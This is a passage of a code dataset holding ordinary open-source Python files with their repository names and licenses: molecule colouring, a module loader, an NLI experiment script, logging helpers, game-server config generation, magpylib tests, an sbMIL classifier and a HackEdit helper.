"gbene/gab_toolbox", "license": "MIT"} {"text": "'''\nThis example shows how to colorize atoms\nbased on their position (x, y, or z)\n\nsee: https://documentation.samson-connect.net/scripting-guide/colorization/\n\nOpen any molecule in SAMSON\n'''\n\nclass HaltException(Exception): pass\n\nindexer = SAMSON.getNodes('n.t atom') # get all atom nodes\n\nif indexer.size == 0: HaltException('No atoms found in the active document')\n \ndirection = ['x','y','z']\nipos = 0; # parameter that determines the coordinate according to which the colorization should be done\nprint('Colorize set of %d nodes in %s-direction' % (indexer.size, direction[ipos]))\n \nSAMSON.setBusy(True) # notify user that SAMSON is busy\n \nminx = maxx = indexer[0].getPosition()[ipos].value # set an initial value for minimal and maximal coordinates\n\nfor atom in indexer: # compute minimal and maximal coordinates\n val = atom.getPosition()[ipos].value\n if val > maxx: maxx = val\n if val < minx: minx = val\n \nfor atom in indexer: # colorize each atom according to its coordinate\n # get RGB color for a node based on HSV color\n color = sam.DataModel.Type.Color.fromHSV(239.5 / 360.0 * (atom.getPosition()[ipos].value - minx) / (maxx - minx), 205.0/255.0, 1.0);\n atom.setColor(color); # set the color of the node\n \nSAMSON.setBusy(False) # SAMSON is not busy anymore\n", "source": "1A-OneAngstrom/SAMSON-Python-Samples", "license": "BSD-3-Clause"} {"text": "# --\n# Copyright (c) 2008-2021 Net-ng.\n# All rights reserved.\n#\n# This software is licensed under the BSD License, as described in\n# the file LICENSE.txt, which you should have received as part of\n# this distribution.\n# --\n\n\"\"\"Import an object from a string reference\n\nThe possible reference syntaxes are:\n\n - ``'python :'`` -- loads an object from a Python module\n (for example: ``'python os.path:isfile'``)\n - ``':'`` -- same as ``'python :'``\n - ``'file :'`` -- loads an object from a file\n (for example: ``'file /tmp/counter.py:Counter'``)\n - ``'egg :'`` -- loads the registered application ````\n from the ```` distribution\n (for example: ``'egg nagare:admin'`` or ``'egg nagare.examples:wiki'``)\n - ``'app '`` -- load the registered application ````\n (for example: ``'app examples'``)\n\"\"\"\n\nimport os\nimport sys\n\nimport pkg_resources\n\n\ndef load_entry_point(app, entry_point):\n \"\"\"Load an object registered under an entry point\n\n In:\n - ``app`` -- name of the object\n - ``entry_point`` -- name of the entry_point\n\n Return:\n - (the object, the distribution of the object)\n \"\"\"\n apps = {entry.name: entry for entry in pkg_resources.iter_entry_points(entry_point)}\n entry_point = apps.get(app)\n\n return (entry_point.load(), entry_point.dist) if entry_point else (None, None)\n\n\ndef load_app(app, _=None):\n \"\"\"Load a registered application\n\n In:\n - ``app`` -- name of the application\n - ``_`` -- *unused**\n\n Return:\n - (the application, the distribution of the application)\n \"\"\"\n return load_entry_point(app, 'nagare.applications')\n\n\ndef load_service(service, _=None):\n return load_entry_point(service, 'nagare.services')\n\n\ndef load_publisher(publisher, _=None):\n return load_entry_point(publisher, 'nagare.publishers')\n\n\ndef load_egg(dist, app):\n \"\"\"Load a registered application of a distribution\n\n In:\n - ``dist`` -- name of the distribution\n - ``app`` -- name of the application\n\n Return:\n - (the application, the distribution of the application)\n \"\"\"\n dist = pkg_resources.get_distribution(dist)\n return dist.get_entry_info('nagare.applications', app).load(), dist\n\n\ndef load_file(filename, app):\n \"\"\"Load an object from a file\n\n In:\n - ``filename`` -- name of the file\n - ``app`` -- name of the object to load\n\n Return:\n - (the object, None)\n \"\"\"\n dirname = os.path.abspath(os.path.dirname(filename))\n if dirname not in sys.path:\n sys.path.insert(0, dirname)\n\n name = os.path.splitext(os.path.basename(filename))[0]\n return load_module(name, app)\n\n\ndef load_module(module, app):\n \"\"\"Load an object from a Python module\n\n In:\n - ``module`` -- name of the module\n - ``app`` -- name of the object to load\n\n Return:\n - (the object, None)\n \"\"\"\n r = __import__(module, fromlist=('',))\n\n if app is not None:\n r = getattr(r, app)\n\n return r, None\n\n\nloaders = {\n '': load_module,\n 'python': load_module,\n 'egg': load_egg,\n 'file': load_file,\n 'app': load_app,\n 'service': load_service,\n 'publisher': load_publisher\n}\n\n\ndef load_object(reference):\n \"\"\"Load an object from a reference\n\n In:\n - ``reference`` -- reference as a string\n\n Return:\n - a tuple (object loaded, distribution where this object is located or ``None``)\n \"\"\"\n if ' ' in reference:\n scheme, reference = reference.split(' ', 1)\n else:\n scheme = ''\n\n if ':' in reference:\n reference, o = reference.split(':', 1)\n else:\n o = None\n\n return loaders[scheme](reference, o)\n", "source": "nagareproject/server", "license": "BSD-3-Clause"} {"text": "import argparse\nimport os\nimport numpy as np\nimport pandas as pd\nfrom time import time\nimport glob\nfrom lr.models.transformers.BertWrapper import BertWrapper\nfrom lr.text_processing.util import pre_process_nli_df\nfrom lr.training.util import get_ternary_label, filter_df_by_label\nfrom lr.text_processing.transformations.wordnet import path_base_transformation\nfrom lr.stats.h_testing import DGP\nfrom lr.stats.h_testing import get_matched_results_transformers\nfrom lr.stats.h_testing import get_paired_t_statistic\nfrom lr.stats.h_testing import get_cochran_statistic\nfrom lr.stats.h_testing import get_boots_series_under_H0\nfrom lr.stats.h_testing import get_boot_paired_t_p_value\nfrom lr.stats.h_testing import get_boot_cochran_p_value\n\n\ndef clean_folder_log(output_dir_name):\n cacheds = glob.glob(output_dir_name + '/*_log.csv')\n for path in cacheds:\n os.remove(path)\n\n\ndef clean_folder(folder):\n cacheds = glob.glob('data/{}/cached_*'.format(folder))\n for path in cacheds:\n os.remove(path)\n\n\ndef run_test(train_path,\n train_path_mod,\n output_path,\n rho,\n dgp_random_state):\n\n # Get data\n\n init_test = time()\n\n train = pd.read_csv(train_path)\n\n train = filter_df_by_label(train.dropna()).reset_index(drop=True)\n\n pre_process_nli_df(train)\n\n # Set transformed version of the datasets\n\n def train_trans(df): return path_base_transformation(df, train_path_mod)\n\n # get_training_sample\n\n train.loc[:, \"o_index\"] = train.index.values\n\n dgp_train = DGP(data=train,\n transformation=train_trans,\n rho=rho)\n\n train_ = dgp_train.sample_transform(random_state=dgp_random_state)\n\n # train_ = train_.astype({'id': int})\n\n train_.to_csv(output_path, index=False)\n\n htest_time = time() - init_test\n print(htest_time)\n\n # if verbose:\n # print(output_raw_result)\n # print(output_result)\n # if clean:\n # clean_folder_log(output_dir)\n # clean_folder(folder)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('rho',\n type=float,\n help='modification percentage for train')\n\n parser.add_argument('experiment_number',\n type=int,\n help='experiment number')\n\n parser.add_argument('dgp_random_state',\n type=int,\n help='random_state for dgp sampling')\n\n args = parser.parse_args()\n\n # folder = args.folder\n rho = args.rho\n experiment_number = args.experiment_number\n dgp_random_state = args.dgp_random_state\n # n_cores = args.n_cores\n\n rho_name = str(rho).split('.')[-1]\n if rho_name != '0':\n rho_name += '0'\n\n if rho == 1.0:\n rho_name = '100'\n\n number_of_simulations = 1000\n verbose = True\n\n train_path = \"data/sick/train.csv\"\n\n train_path_mod = \"data/sick/train_p_h_syn_noun.csv\"\n\n output_path = \"data/sick/rho{}/train_rho{}-{}.csv\".format(rho_name,rho_name,experiment_number)\n\n run_test(train_path=train_path,\n train_path_mod=train_path_mod,\n output_path=output_path,\n rho=rho,\n dgp_random_state=dgp_random_state)\n", "source": "lukewanless/looking-for-equivalences", "license": "MIT"} {"text": "\"\"\"\nCreated on June 16 2020\n\n@author: Joan H\u00e9risson\n\"\"\"\nfrom sys import stdout as sys_stdout\nfrom logging import(\n Logger,\n getLogger,\n StreamHandler\n)\nfrom colored import (\n fg,\n bg,\n attr\n)\n\n\ndef print_OK_adv(logger: Logger=getLogger(__name__)) -> None:\n logger.info(\n '{color}{typo} OK{rst}'.format(\n color=fg('green'),\n typo=attr('bold'),\n rst=attr('reset')\n )\n )\n\n\ndef print_title_adv(\n txt: str,\n logger: Logger=getLogger(__name__),\n waiting: bool=False\n) -> None:\n if waiting:\n StreamHandler.terminator = \"\"\n logger.info(\n '{color}{typo}{txt}{rst}'.format(\n color=fg('white'),\n typo=attr('bold'),\n rst=attr('reset'),\n txt=txt\n )\n )\n StreamHandler.terminator = \"\\n\"\n\n\ndef print_OK(time=-1):\n sys_stdout.write(\"\\033[0;32m\") # Green\n print(\" OK\", end = '', flush=True)\n sys_stdout.write(\"\\033[0;0m\") # Reset\n if time!=-1: print(\" (%.2fs)\" % time, end = '', flush=True)\n print()\n\ndef print_FAILED():\n sys_stdout.write(\"\\033[1;31m\") # Red\n print(\" Failed\")\n sys_stdout.write(\"\\033[0;0m\") # Reset\n print()\n\n\nfrom logging import (\n Logger,\n getLogger,\n StreamHandler\n)\nfrom colored import (\n attr as c_attr,\n fg as c_fg,\n bg as c_bg\n)\n\n\ndef print_start(\n logger: Logger=getLogger(__name__),\n msg: str='Start process',\n) -> None:\n StreamHandler.terminator = \"\"\n logger.info(\n '{color}{typo}{msg}{rst}'.format(\n color=c_fg('white'),\n typo=c_attr('bold'),\n msg=msg,\n rst=c_attr('reset')\n )\n )\n\ndef print_progress(\n logger: Logger=getLogger(__name__),\n msg: str='.',\n) -> None:\n logger.info(\n '{color}{msg}'.format(\n color=c_fg('white'),\n msg=msg\n )\n )\n\ndef print_end(\n logger: Logger=getLogger(__name__),\n msg: str='OK',\n) -> None:\n StreamHandler.terminator = \"\\n\"\n logger.info(\n '{color}{typo} {msg}{rst}'.format(\n color=c_fg('green'),\n typo=c_attr('bold'),\n msg=msg,\n rst=c_attr('reset')\n )\n )\n", "source": "brsynth/rpSBML", "license": "MIT"} {"text": "import os\n\nfrom jinja2 import Environment, FileSystemLoader\n\nCONFIGS_PATH = os.environ['CONFIGS_PATH']\nTEMPLATES_PATH = os.environ['TEMPLATES_PATH']\n\nTEMPLATE_ENV = Environment(\n loader=FileSystemLoader(TEMPLATES_PATH),\n trim_blocks=True\n)\n\nTEMPLATES = [\n {\n 'source': 'server-settings.json.j2',\n 'destination': 'server-settings.json',\n 'environment': {\n 'game_name': os.environ.get('GAME_NAME', 'The Game'),\n 'game_description': os.environ.get('GAME_DESCRIPTION', 'Friendly Game'),\n 'game_password': os.environ['GAME_PASSWORD'],\n 'max_players': int(os.environ.get('MAX_PLAYERS', '0')),\n 'auto_save_interval': int(os.environ.get('AUTO_SAVE_INTERVAL', '10')),\n 'auto_save_slots': int(os.environ.get('AUTO_SAVE_SLOTS', '5'))\n }\n },\n {\n 'source': 'map-settings.json.j2',\n 'destination': 'map-settings.json',\n 'environment': {\n 'pollution_enabled': os.environ.get('POLLUTION_ENABLED', 'true'),\n 'evolution_enabled': os.environ.get('EVOLUTION_ENABLED', 'true'),\n 'expansion_enabled': os.environ.get('EXPANSION_ENABLED', 'true'),\n 'min_expansion_cooldown': int(os.environ.get('MIN_EXPANSION_COOLDOWN', '4'))*3600,\n 'max_expansion_cooldown': int(os.environ.get('MAX_EXPANSION_COOLDOWN', '60'))*3600,\n 'min_settler_group_size': int(os.environ.get('MIN_SETTLER_GROUP_SIZE', '5')),\n 'max_settler_group_size': int(os.environ.get('MAX_SETTLER_GROUP_SIZE', '20')),\n 'technology_price_multiplier': int(os.environ.get('TECHNOLOGY_PRICE_MULTIPLIER', '1')),\n 'evolution_time_factor': os.environ.get('EVOLUTION_TIME_FACTOR', '0.000004'),\n 'evolution_destroy_factor': os.environ.get('EVOLUTION_DESTROY_FACTOR', '0.002'),\n 'evolution_pollution_factor': os.environ.get('EVOLUTION_POLLUTION_FACTOR', '0.0000009')\n }\n },\n {\n 'source': 'map-gen-settings.json.j2',\n 'destination': 'map-gen-settings.json',\n 'environment': {\n 'seed': os.environ.get('SEED', 'null'),\n 'map_width': int(os.environ.get('MAP_WIDTH', '0')),\n 'map_height': int(os.environ.get('MAP_HEIGHT', '0')),\n 'biter_free_starting_area': int(os.environ.get('BITER_FREE_STARTING_AREA', '1')),\n 'water_elevation': int(os.environ.get('WATER_ELEVATION', '1')),\n 'peaceful_mode': os.environ.get('PEACEFUL_MODE', 'false'),\n 'coal': {\n 'frequency': int(os.environ.get('COAL_FREQUENCY', '1')),\n 'size': int(os.environ.get('COAL_SIZE', '1')),\n 'richness': int(os.environ.get('COAL_RICHNESS', '1'))\n },\n 'stone': {\n 'frequency': int(os.environ.get('STONE_FREQUENCY', '1')),\n 'size': int(os.environ.get('STONE_SIZE', '1')),\n 'richness': int(os.environ.get('STONE_RICHNESS', '1'))\n },\n 'copper_ore': {\n 'frequency': int(os.environ.get('COPPER_ORE_FREQUENCY', '1')),\n 'size': int(os.environ.get('COPPER_ORE_SIZE', '1')),\n 'richness': int(os.environ.get('COPPER_ORE_RICHNESS', '1'))\n },\n 'iron_ore': {\n 'frequency': int(os.environ.get('IRON_ORE_FREQUENCY', '1')),\n 'size': int(os.environ.get('IRON_ORE_SIZE', '1')),\n 'richness': int(os.environ.get('IRON_ORE_RICHNESS', '1'))\n },\n 'uranium_ore': {\n 'frequency': int(os.environ.get('URANIUM_ORE_FREQUENCY', '1')),\n 'size': int(os.environ.get('URANIUM_ORE_SIZE', '1')),\n 'richness': int(os.environ.get('URANIUM_ORE_RICHNESS', '1'))\n },\n 'crude_oil': {\n 'frequency': int(os.environ.get('CRUDE_OIL_FREQUENCY', '1')),\n 'size': int(os.environ.get('CRUDE_OIL_SIZE', '1')),\n 'richness': int(os.environ.get('CRUDE_OIL_RICHNESS', '1'))\n },\n 'trees': {\n 'frequency': int(os.environ.get('TREES_FREQUENCY', '1')),\n 'size': int(os.environ.get('TREES_SIZE', '1')),\n 'richness': int(os.environ.get('TREES_RICHNESS', '1'))\n },\n 'enemy_base': {\n 'frequency': int(os.environ.get('ENEMY_BASE_FREQUENCY', '1')),\n 'size': int(os.environ.get('ENEMY_BASE_SIZE', '1')),\n 'richness': int(os.environ.get('ENEMY_BASE_RICHNESS', '1'))\n }\n }\n }\n]\n\nif os.environ.get('ADMIN_PLAYERS', None) is not None:\n TEMPLATES.append(\n {\n 'source': 'server-adminlist.json.j2',\n 'destination': 'server-adminlist.json',\n 'environment': {\n 'players': map(lambda val: \"\\\"{val}\\\"\".format(val=val), os.environ.get('ADMIN_PLAYERS').split(','))\n }\n }\n )\n\nif os.environ.get('WHITELISTED_PLAYERS', None) is not None:\n TEMPLATES.append(\n {\n 'source': 'server-whitelist.json.j2',\n 'destination': 'server-whitelist.json',\n 'environment': {\n 'players': map(lambda val: \"\\\"{val}\\\"\".format(val=val), os.environ.get('WHITELISTED_PLAYERS').split(','))\n }\n }\n )\n\ndef configs_defined():\n return os.path.isdir(CONFIGS_PATH)\n\ndef generate_configs():\n os.makedirs(CONFIGS_PATH)\n for template in TEMPLATES:\n renderer = TEMPLATE_ENV.get_template(template['source'])\n config_file_path = os.path.join(CONFIGS_PATH, template['destination'])\n with open(config_file_path, 'w+') as config_file:\n config_file.write(renderer.render(template['environment']))\n", "source": "Magnitus-/DockerFiles", "license": "MIT"} {"text": "import numpy as np\nimport pytest\nfrom scipy.spatial.transform import Rotation as R\n\nimport magpylib as magpy\n\n###############################################################################\n###############################################################################\n# NEW BASE GEO TESTS FROM v4\n\n\ndef validate_pos_orient(obj, ppath, opath_as_rotvec):\n \"\"\"test position (ppath) and orientation (opath) of BaseGeo object (obj)\"\"\"\n sp = obj.position\n so = obj.orientation\n ppath = np.array(ppath)\n opath = R.from_rotvec(opath_as_rotvec)\n assert ppath.shape == sp.shape, (\n \"position shapes do not match\"\n f\"\\n object has {sp.shape} instead of {ppath.shape}\"\n )\n assert opath.as_rotvec().shape == so.as_rotvec().shape, (\n \"orientation as_rotvec shapes do not match\"\n f\"\\n object has {so.as_rotvec().shape} instead of {opath.as_rotvec().shape}\"\n )\n assert np.allclose(sp, ppath), (\n f\"position validation failed with ({sp})\" f\"\\n expected {ppath}\"\n )\n assert np.allclose(so.as_matrix(), opath.as_matrix()), (\n f\"orientation validation failed with ({so.as_rotvec()})\"\n f\"\\n expected {opath_as_rotvec}\"\n )\n\n\n###############################################################################\n###############################################################################\n# BASEGEO POS/ORI INIT TESTING\n# at initialization position and orientation must have similar shape (N,3)\n# - if inputs are (N,3) and (3,) then the (3,) is tiled up to (N,3)\n# - if inputs are (N,3) and (M,3) then the smaller one is padded up\n# - None orientation input is interpreted as (0,0,0) rotvec == (0,0,0,1) quat\n\n\ndef get_init_pos_orient_test_data():\n \"\"\"\n returns data for object init testing\n\n init_position, init_orientation_rotvec, expected_position, expected_orientation_rotvec\n \"\"\"\n p0 = (1, 2, 3)\n p1 = [(1, 2, 3)]\n p2 = [(1, 2, 3), (1, 1, 1)]\n o0 = None\n o1 = (0, 0, 0.1)\n o2 = [(0, 0, 0.1)]\n o3 = [(0, 0, 0.1), (0, 0, 0.2)]\n o4 = [(0, 0, 0.1), (0, 0, 0.2), (0, 0, 0.3)]\n\n init_test_data = [\n [p0, o0, p0, (0, 0, 0)],\n [p0, o1, p0, o1],\n [p0, o2, p0, o1],\n [p0, o3, (p0, p0), o3],\n [p1, o0, p0, (0, 0, 0)],\n [p1, o1, p0, o1],\n [p1, o2, p0, o1],\n [p1, o3, (p0, p0), o3],\n [p2, o0, p2, [(0, 0, 0)] * 2],\n [p2, o1, p2, [o1] * 2],\n [p2, o2, p2, [o1] * 2],\n [p2, o3, p2, o3],\n [p2, o4, p2 + [(1, 1, 1)], o4], # uneven paths\n ]\n return init_test_data\n\n\n@pytest.mark.parametrize(\n \"init_position, init_orientation_rotvec, expected_position, expected_orientation_rotvec\",\n get_init_pos_orient_test_data(),\n ids=[f\"{ind+1:02d}\" for ind, t in enumerate(get_init_pos_orient_test_data())],\n)\ndef test_BaseGeo_init(\n init_position,\n init_orientation_rotvec,\n expected_position,\n expected_orientation_rotvec,\n):\n \"\"\"test position and orientation initialization\"\"\"\n # print(init_position, init_orientation_rotvec, expected_position, expected_orientation_rotvec)\n if init_orientation_rotvec is None:\n init_orientation_rotvec = (0, 0, 0)\n src = magpy.magnet.Cuboid(\n (1, 0, 0),\n (1, 1, 1),\n position=init_position,\n orientation=R.from_rotvec(init_orientation_rotvec),\n )\n validate_pos_orient(src, expected_position, expected_orientation_rotvec)\n\n\n############################################################################\n############################################################################\n# BASEGEO POS/ORI SETTER TESTING\n# when pos/ori is set then ori/pos is edge-padded / end-sliced to similar shape.\n\n\ndef get_data_object_setter(inp):\n \"\"\"\n returns data for object setter tests\n\n init_pos, init_ori, test_pos, test_ori\n \"\"\"\n # test positions\n p1 = (1, 2, 3)\n p3 = [(2, 3, 4), (3, 4, 5), (4, 5, 6)]\n\n # test orientations\n o1 = (0.1, 0.2, 0.3)\n o3 = [(0.1, 0.2, 0.3), (0.2, 0.3, 0.4), (0.3, 0.4, 0.5)]\n\n # init states\n P1 = (1, 1, 1)\n O1 = (0.1, 0.1, 0.1)\n P2 = [(2, 2, 2), (3, 3, 3)]\n O2 = [(0.2, 0.2, 0.2), (0.3, 0.3, 0.3)]\n P3 = [(2, 2, 2), (3, 3, 3), (4, 4, 4)]\n O3 = [(0.2, 0.2, 0.2), (0.3, 0.3, 0.3), (0.4, 0.4, 0.4)]\n P4 = [(2, 2, 2), (3, 3, 3), (4, 4, 4), (5, 5, 5)]\n O4 = [(0.2, 0.2, 0.2), (0.3, 0.3, 0.3), (0.4, 0.4, 0.4), (0.5, 0.5, 0.5)]\n\n test_data_pos = [\n # position init, orientation init, set/test position, test orientation\n (P1, O1, p1, O1),\n (P1, O1, p3, [O1] * 3), # edge-pad\n (P2, O2, p1, O2[1]), # end-slice\n (P2, O2, p3, O2 + [(0.3, 0.3, 0.3)]), # edge-pad\n (P3, O3, p1, O3[2]), # end-slice\n (P3, O3, p3, O3),\n (P4, O4, p1, O4[3]), # end-slice\n (P4, O4, p3, O4[1:]), # end-slice\n ]\n\n test_data_ori = [\n # position init, orientation init, set/test position, test orientation\n (P1, O1, P1, o1),\n (P1, O1, [P1] * 3, o3), # edge-pad\n (P2, O2, P2[1], o1), # end-slice\n (P2, O2, P2 + [P2[1]], o3), # edge-pad\n (P3, O3, P3[-1], o1), # end-slice\n (P3, O3, P3, o3),\n (P4, O4, P4[-1], o1), # end-slice\n (P4, O4, P4[1:], o3), # end-slice\n ]\n if inp == \"pos\":\n return test_data_pos\n return test_data_ori\n\n\n@pytest.mark.parametrize(\n \"init_pos, init_ori, test_pos, test_ori\",\n get_data_object_setter(\"pos\"),\n ids=[f\"{ind+1:02d}\" for ind, _ in enumerate(get_data_object_setter(\"pos\"))],\n)\ndef test_BaseGeo_setting_position(\n init_pos,\n init_ori,\n test_pos,\n test_ori,\n):\n \"\"\"test position and orientation initialization\"\"\"\n src = magpy.magnet.Cuboid((1, 0, 0), (1, 1, 1), init_pos, R.from_rotvec(init_ori))\n src.position = test_pos\n validate_pos_orient(src, test_pos, test_ori)\n\n\n@pytest.mark.parametrize(\n \"init_pos, init_ori, test_pos, test_ori\",\n get_data_object_setter(\"ori\"),\n ids=[f\"{ind+1:02d}\" for ind, _ in enumerate(get_data_object_setter(\"ori\"))],\n)\ndef test_BaseGeo_setting_orientation(\n init_pos,\n init_ori,\n test_pos,\n test_ori,\n):\n \"\"\"test position and orientation initialization\"\"\"\n src = magpy.magnet.Cuboid((1, 0, 0), (1, 1, 1), init_pos, R.from_rotvec(init_ori))\n src.orientation = R.from_rotvec(test_ori)\n validate_pos_orient(src, test_pos, test_ori)\n\n\n###############################################################################\n###############################################################################\n# BASEGEO MULTI-ANCHOR ROTATION TESTING\n\n\ndef get_data_BaseGeo_multianchor_rotation():\n \"\"\"get test data as dictionaries for multi anchor testing\"\"\"\n data = [\n dict(\n description=\"scalar path - scalar anchor\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=90,\n axis=\"z\",\n anchor=0,\n start=\"auto\",\n expected_position=(0, 0, 0),\n expected_orientation_rotvec=(0, 0, np.pi / 2),\n ),\n dict(\n description=\"vector path 1 - scalar anchor\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=[90],\n axis=\"z\",\n anchor=(1, 0, 0),\n start=\"auto\",\n expected_position=[(0, 0, 0), (1, -1, 0)],\n expected_orientation_rotvec=[(0, 0, 0), (0, 0, np.pi / 2)],\n ),\n dict(\n description=\"vector path 2 - scalar anchor\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=[90, 270],\n axis=\"z\",\n anchor=(1, 0, 0),\n start=\"auto\",\n expected_position=[(0, 0, 0), (1, -1, 0), (1, 1, 0)],\n expected_orientation_rotvec=[\n (0, 0, 0),\n (0, 0, np.pi / 2),\n (0, 0, -np.pi / 2),\n ],\n ),\n dict(\n description=\"scalar path - vector anchor 1\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=90,\n axis=\"z\",\n anchor=[(1, 0, 0)],\n start=\"auto\",\n expected_position=[(0, 0, 0), (1, -1, 0)],\n expected_orientation_rotvec=[(0, 0, 0), (0, 0, np.pi / 2)],\n ),\n dict(\n description=\"scalar path - vector anchor 2\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=90,\n axis=\"z\",\n anchor=[(1, 0, 0), (2, 0, 0)],\n start=\"auto\",\n expected_position=[(0, 0, 0), (1, -1, 0), (2, -2, 0)],\n expected_orientation_rotvec=[\n (0, 0, 0),\n (0, 0, np.pi / 2),\n (0, 0, np.pi / 2),\n ],\n ),\n dict(\n description=\"vector path 2 - vector anchor 2\",\n init_position=(0, 0, 0),\n init_orientation_rotvec=None,\n angle=[90, 270],\n axis=\"z\",\n anchor=[(1, 0, 0), (2, 0, 0)],\n start=\"auto\",\n expected_position=[(0, 0, 0), (1, -1, 0), (2, 2, 0)],\n expected_orientation_rotvec=[\n (0, 0, 0),\n (0, 0, np.pi / 2),\n (0, 0, -np.pi / 2),\n ],\n ),\n dict(\n description=\"vector path 2 - vector anchor 2 - path 2 - start=0\",\n init_position=[(0, 0, 0), (2, 1, 0)],\n init_orientation_rotvec=None,\n angle=[90, 270],\n axis=\"z\",\n anchor=[(1, 0, 0), (2, 0, 0)],\n start=0,\n expected_position=[(1, -1, 0), (3, 0, 0)],\n expected_orientation_rotvec=[(0, 0, np.pi / 2), (0, 0, -np.pi / 2)],\n ),\n dict(\n description=\"init crazy, path 2, anchor 3, start middle\",\n init_position=[(0, 0, 0), (2, 0, 0)],\n init_orientation_rotvec=(0, 0, 0.1),\n angle=[90, 270],\n axis=\"z\",\n anchor=[(1, 0, 0), (2, 0, 0), (3, 0, 0)],\n start=1,\n expected_position=[(0, 0, 0), (1, 1, 0), (2, 0, 0), (3, 1, 0)],\n expected_orientation_rotvec=[\n (0, 0, 0.1),\n (0, 0, np.pi / 2 + 0.1),\n (0, 0, -np.pi / 2 + 0.1),\n (0, 0, -np.pi / 2 + 0.1),\n ],\n ),\n dict(\n description=\"init crazy, path 2, anchor 3, start before\",\n init_position=[(0, 0, 0), (2, 0, 0)],\n init_orientation_rotvec=(0, 0, 0.1),\n angle=[90, 270],\n axis=\"z\",\n anchor=[(1, 0, 0), (2, 0, 0), (3, 0, 0)],\n start=-4,\n expected_position=[(1, -1, 0), (2, 2, 0), (3, 3, 0), (2, 0, 0)],\n expected_orientation_rotvec=[\n (0, 0, 0.1 + np.pi / 2),\n (0, 0, 0.1 - np.pi / 2),\n (0, 0, 0.1 - np.pi / 2),\n (0, 0, 0.1),\n ],\n ),\n ]\n return data\n\n\n@pytest.mark.parametrize(\n (\n \"description\",\n \"init_position\",\n \"init_orientation_rotvec\",\n \"angle\",\n \"axis\",\n \"anchor\",\n \"start\",\n \"expected_position\",\n \"expected_orientation_rotvec\",\n ),\n [d.values() for d in get_data_BaseGeo_multianchor_rotation()],\n ids=[d[\"description\"] for d in get_data_BaseGeo_multianchor_rotation()],\n)\ndef test_BaseGeo_multianchor_rotation(\n description,\n init_position,\n init_orientation_rotvec,\n angle,\n axis,\n anchor,\n start,\n expected_position,\n expected_orientation_rotvec,\n):\n \"\"\"testing BaseGeo multi anchor rotations\"\"\"\n print(description)\n # print(locals())\n if init_orientation_rotvec is None:\n init_orientation_rotvec = (0, 0, 0)\n src = magpy.magnet.Cuboid(\n (1, 0, 0),\n (1, 1, 1),\n position=init_position,\n orientation=R.from_rotvec(init_orientation_rotvec),\n )\n src.rotate_from_angax(angle, axis, anchor, start)\n validate_pos_orient(src, expected_position, expected_orientation_rotvec)\n", "source": "OrtnerMichael/magPyLib", "license": "BSD-2-Clause"} {"text": "\"\"\"\nImplements sbMIL\n\"\"\"\nfrom __future__ import print_function, division\nimport numpy as np\n\nfrom misvm.smil import sMIL\nfrom misvm.sil import SIL\nfrom misvm.util import BagSplitter\n\n\nclass sbMIL(SIL):\n \"\"\"\n Sparse, balanced MIL (Bunescu & Mooney, 2007)\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n @param kernel : the desired kernel function; can be linear, quadratic,\n polynomial, or rbf [default: linear]\n (by default, no normalization is used; to use averaging\n or feature space normalization, append either '_av' or\n '_fs' to the kernel name, as in 'rbf_av'; averaging\n normalization is used in the original formulation)\n @param C : the loss/regularization tradeoff constant [default: 1.0]\n @param scale_C : if True [default], scale C by the number of examples\n @param p : polynomial degree when a 'polynomial' kernel is used\n [default: 3]\n @param gamma : RBF scale parameter when an 'rbf' kernel is used\n [default: 1.0]\n @param verbose : print optimization status messages [default: True]\n @param sv_cutoff : the numerical cutoff for an example to be considered\n a support vector [default: 1e-7]\n @param eta : balance parameter\n \"\"\"\n self.eta = kwargs.pop('eta', 0.0)\n self.eta = max(0.0, self.eta)\n self.eta = min(1.0, self.eta)\n super(sbMIL, self).__init__(*args, **kwargs)\n\n def fit(self, bags, y):\n \"\"\"\n @param bags : a sequence of n bags; each bag is an m-by-k array-like\n object containing m instances with k features\n @param y : an array-like object of length n containing -1/+1 labels\n \"\"\"\n self._bags = [np.asmatrix(bag) for bag in bags]\n y = np.asmatrix(y).reshape((-1, 1))\n bs = BagSplitter(self._bags, y)\n\n if self.verbose:\n print('Training initial sMIL classifier for sbMIL...')\n initial_classifier = sMIL(kernel=self.kernel, C=self.C, p=self.p, gamma=self.gamma,\n scale_C=self.scale_C, verbose=self.verbose,\n sv_cutoff=self.sv_cutoff)\n initial_classifier.fit(bags, y)\n if self.verbose:\n print('Computing initial instance labels for sbMIL...')\n f_pos = initial_classifier.predict(bs.pos_inst_as_bags)\n # Select nth largest value as cutoff for positive instances\n n = int(round(bs.L_p * self.eta))\n n = min(bs.L_p, n)\n n = max(bs.X_p, n)\n f_cutoff = sorted((float(f) for f in f_pos), reverse=True)[n - 1]\n\n # Label all except for n largest as -1\n pos_labels = -np.matrix(np.ones((bs.L_p, 1)))\n pos_labels[np.nonzero(f_pos >= f_cutoff)] = 1.0\n\n # Train on all instances\n if self.verbose:\n print('Retraining with top %d%% as positive...' % int(100 * self.eta))\n all_labels = np.vstack([-np.ones((bs.L_n, 1)), pos_labels])\n super(SIL, self).fit(bs.instances, all_labels)\n\n def _compute_separator(self, K):\n super(SIL, self)._compute_separator(K)\n self._bag_predictions = self.predict(self._bags)\n", "source": "RomainCendre/misvm", "license": "BSD-3-Clause"} {"text": "\"\"\"\n**Internal** helper module shared by most api modules to retrieve the current\nMainWindow instance.\n\"\"\"\nimport inspect\n\nfrom PyQt5 import QtWidgets\n\n\nAPP = None\n\n\ndef _window():\n \"\"\"\n Retrieves window instance from the caller object (usually a WorkspacePlugin\n or a WindowPlugin).\n\n If there is no caller object, the active window is used, this allow\n to hack HackEdit from the developer console!\n\n This is used to simplify the public API: plugins don't need to pass\n the `window` parameter to the public API functions everytime...\n\n :rtype: hackedit.app.main_window.MainWindow\n \"\"\"\n def caller():\n frame = inspect.stack()[3][0]\n caller = frame.f_locals.get('self')\n return caller\n\n from hackedit.app.main_window import MainWindow\n\n try:\n w = caller().main_window\n if w and isinstance(w, MainWindow):\n return w\n raise AttributeError('main_window is None')\n except (AttributeError, IndexError):\n # not from a plugin, use active window instead\n w = QtWidgets.qApp.activeWindow()\n if not isinstance(w, MainWindow):\n try:\n w = APP.active_window\n except 